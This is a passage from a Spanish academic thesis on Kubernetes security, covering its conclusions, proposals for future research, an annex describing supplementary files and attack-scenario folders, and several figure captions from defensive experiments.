y Secrets, forzar un tiempo de expiracion de tokens JWT, etc.).



e Los responsables de seguridad deben mantenerse al dia con los boletines de
noticias y anuncios de seguridad referentes a Kubernetes.

A pesar de los resultados obtenidos y de toda la literatura analizada, existen muchas areas
relacionadas con la seguridad en Kubernetes que no fueron exploradas por encontrarse
fuera de los objetivos de este trabajo, pero que deberian considerarse en entornos reales de
produccién como se expone a continuacion.
Una primera recomendacion es la de profundizar en el estudio de estrategias y medidas de
seguridad en el contexto de las otras tres capas (Cloud, Container y Code) de las 4 C's
aplicadas al contexto de las aplicaciones nativas en la nube. En el caso de la capa de Cloud
se recomienda valorar la seguridad del proveedor de la nube, asi como el hardening de la
infraestructura. A nivel de Container, es aconsejable el estudio de medidas seguridad
avanzadas para contenedores, el uso de sistemas operativos adaptados para contenedores,
el uso de micro VMs y el uso de las guias CIS Benchmark para CREs como Docker.
Finalmente en la capa de Code, se sugiere el uso de estrategias de analisis estaticos y/o
dinamicos de cdédigo y las auditorias de seguridad para la deteccion de posibles amenazas
en tiempo de desarrollo (e.g. seguridad en las dependencias de terceros).
Otro aspecto en el que se recomienda profundizar es en la seguridad de la cadena de
suministro de software (software supply chain), ya que este fenémeno es considerado una
de las piedras angulares en la seguridad de Kubernetes por varias guias y reportes de
seguridad [423]. Especificamente valorar herramientas como Grafeas + Kritis y plataformas
como Binary Authorization.
Una buena préactica de las recomendadas que consideramos debe ser explorada en mayor
profundidad es la proteccién en tiempo de ejecucion. Aspectos que deben ser abordados,
entre otros, son el uso avanzado de Falco, Honeypots, o de un motor de respuesta para
Kubernetes basado en Falcosidekick [378]. También se recomienda la implantacion y
evaluacién de las plataformas de seguridad avanzada mencionadas en el trabajo. Otro
factor a considerar seria el estudio y andlisis de mallas de servicio como Istio en escenarios
multi-cluster cuyo uso va en aumento hoy en dia.
Otra linea de investigacion que se considera relevante y que pudiera aportar de manera
significativa a la seguridad, es el estudio e implantacion de WAFs en Kubernetes. Ya sea a
nivel de aplicacién, como a nivel de Ingress del cluster o a nivel de Gateway a nuestra
infraestructura. Seria interesante realizar un estudio de su impacto en la mitigacion de
ataques basados en trafico malicioso.
Como se ha podido evidenciar a partir de las conclusiones extraidas en este trabajo y las
propuestas a explorar en el futuro, es evidente que el tema de la seguridad en Kubernetes
es tanto extenso como complejo. El acelerado ritmo de desarrollo de Kubernetes hace que
la tarea de su seguridad sea un proceso continuo y en constante evolucion.
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14. Anexos

14.1. Anexo 1. Material complementario

Adicionalmente a esta memoria, se adjunta un fichero con nombre material-adjunto.zip
que contiene organizado por carpetas, elementos como ficheros de configuracion del cluster
(e.g., ficheros .yaml), configuracion de herramientas utilizadas, scripts para automatizar
procesos, entre otros.

Se adjunta también todo tipo de material complementario como ficheros de logs generados
por las herramientas utilizadas, los diagramas de la taxonomia de medidas de seguridad
propuestas, los charts (y sus datos correspondientes) con los resultados de las fases de
auditoria en el capitulo de disefio experimental, etc.

A continuacién se muestra un listado de la estructura de carpetas contenidas en el fichero
material-adjunto.zip y se hara una breve descripcion del contenido de cada una.

# materiales adjuntos incluidos en el fichero material-adjunto.zip
material-adjunto

— attack-scenarios

| F——-01—abusing—vulnerable—kubelet

| — 02-lateral-movement

| —— 03-exploiting-service-accounts

| —— ©4-man-in-the-middle-via-cve-2020-8554

|

|

|

— @5-insider-threat-without-service-mesh
F—— 06-protect-against-malicious-traffic
L— vulnerable-cluster-config.yaml
F—— best-practices-taxonomy
| L graphs
— cis-benchmarks
| L— Kubernetes
L— kubernetes-attack-matrix
F—— Attack Matrix for Kubernetes.xlsx
L Attack Scenarios Attack Matrix for Kubernetes Coverage.xlsx

attack-scenarios:

En esta carpeta se ha estructurado todo el contenido referente al capitulo de diseio
experimental, donde por cada uno de los escenarios de atague disefiados, se proporcionan
ficheros de configuracion de KinD, ficheros de configuracion y de logs de las herramientas
utilizadas, entre otros.

best-practices-taxonomy:

Esta carpeta contiene los ficheros de disefio de los diagramas de la taxonomia de las
buenas préacticas de seguridad en Kubernetes (https://www.diagrams.net/), asi como su
representacion grafica en formato .pdf.

cis-benchmarks:
En esta carpeta se facilitan los CIS Benchmarks para Kubernetes como referencia en sus
diferentes versiones (v1.4.0, v1.5.1 y v1.6.0).


https://www.diagrams.net/

kubernetes-attack-matrix:

En esta carpeta se facilita en formato Excel (.x/sx) la matriz de ataque para Kubernetes
propuesta por el MITRE ATT&CK® y su cubrimiento para cada uno de los escenarios de
atague propuestos en el capitulo de disefio experimental.
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Figura 88.

Trafico interno no deseado en el deployment.
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Trafico egress al host worldclockapi.com.
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Comunicacion no cifrada mostrada en el diagrama de Kiali.




Figura 97. Comunicacion no cifrada mostrada en Wireshark.
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Figura 100. Tréfico de egress correctamente gestionado.
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Figura 104. Comunicacién cifrada (mTLS) mostrada en Wireshark.
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Figura 106. El tag utilizado corresponde a una imagen distroless.
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Figura 113. Consumo de CPU/RAM en los workloads por un atague DDoS con hulk.
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Figura 118. Herramientas de ataque limitadas por control implantado.




